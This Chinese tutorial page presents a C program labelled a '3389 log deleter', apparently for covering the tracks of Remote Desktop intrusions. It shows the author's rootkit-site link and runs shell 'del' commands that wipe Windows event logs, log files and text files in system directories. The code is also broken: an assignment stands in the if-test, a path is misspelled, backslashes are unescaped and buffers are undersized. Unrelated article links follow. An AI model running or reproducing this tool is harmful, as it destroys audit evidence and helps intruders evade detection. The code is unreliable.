C++实现日志清理代码

所属分类: 软件教程 / 编程开发 阅读数: 1130
收藏 0 赞 0 分享
#include<stdio.h>
#include<string.h>
#include <stdlib.h>
void main()
{
char a[40]="del C:\winnt\system32\logfiles\*.*";
char b[40]="del C:\winnt\ssytem32\config\*.evt";
char c[36]="del C:\winnt\system32\dtclog\*.* ";
char d[36]="del C:\winnt\system32\*.log";
char e[36]="del C:\winnt\system32\*.txt";
char f[36]="del C:\winnt\*.txt ";
char g[36]="del C:\winnt\*.log";

char a1[40]="del C:\windows\system32\logfiles\*.*";
char b1[40]="del C:\windows\ssytem32\config\*.evt";
char c1[36]="del C:\windows\system32\dtclog\*.* ";
char d1[36]="del C:\windows\system32\*.log";
char e1[36]="del C:\windows\system32\*.txt";
char f1[36]="del C:\windows\*.txt ";
char g1[36]="del C:\windows\*.log";

int i;

printf("\t\t\t3389日志删除器\n\t\t\t\t\twrite by willson QQ:360928283\n\n");
printf("\t\t我的空间是:http://hi.baidu.com/willweiwei\n");
printf("\t\t\thttp://www.rootkit.org.cn\n\n\n");
printf("请输入您的操作系统名。如果是windows2000,请输入1!\n如果是windows2003或xp,请输入其他任意键\n请输入操作系统:");
scanf("%d",&i);
if(i=1)
{
system(a);system(b);system(c);system(d);system(e);system(f);system(g);
}
else
{
system(a1);system(b1);system(c1);system(d1);system(e1);system(f1);system(g1);
}
}

更多精彩内容其他人还在看

eclipse安装pydev插件步骤(图文)

本文主要介绍了在eclipse上安装pydev插件的过程,开发python的朋友可以看一下
收藏 0 赞 0 分享

hadoop入门之通过页面验证hadoop是否安装成功的方法

本文主要介绍了通过页面验证hadoop是否安装成功的方法,大家参考使用吧
收藏 0 赞 0 分享

hadoop入门之验证hdfs是否能够正常运行的方法

本文主要介绍了hadoop验证hdfs是否能够正常运行的方法,大家参考使用吧
收藏 0 赞 0 分享

hadoop入门之统计单词在文件中出现的个数示例

本文主要介绍了hadoop统计单词在文件中出现的个数的示例,大家参考使用吧
收藏 0 赞 0 分享

hadoop入门之hadoop集群验证任务存放在不同的节点上

本文主要介绍了hadoop集群验证任务存放在不同的节点上的方法,大家参考使用吧
收藏 0 赞 0 分享

hadoop入门之设置datanode的心跳时间的方法

本文主要介绍了hadoop设置datanode的心跳时间的方法,大家参考使用吧
收藏 0 赞 0 分享

hadoop入门之hdfs基本操作命令使用方法

本文主要介绍了hadoop的hdfs基本操作命令使用方法,大家参考使用吧
收藏 0 赞 0 分享

windows7下vs2010安装opencv2.4.3详细步骤(图)

本文记录Windows7 X86 SP1操作系统环境下,安装与配置OpenCV2.4.3的详细步骤。前置需求:已安装有VS2010
收藏 0 赞 0 分享

plsql develope连接64位Oracle 11g出错解决方案(图)

PLSQL Developer登录框中的Database下拉框始终空白,解决方法看下面的图吧
收藏 0 赞 0 分享

WinForm开发picturebox图像重绘(picturebox显示图片)代码分享

有多重方式可以实现PictureBox的图像重绘,本文针对一种应用情形,给出一种简便易用的方法来实现PictureBox的图像重绘
收藏 0 赞 0 分享
查看更多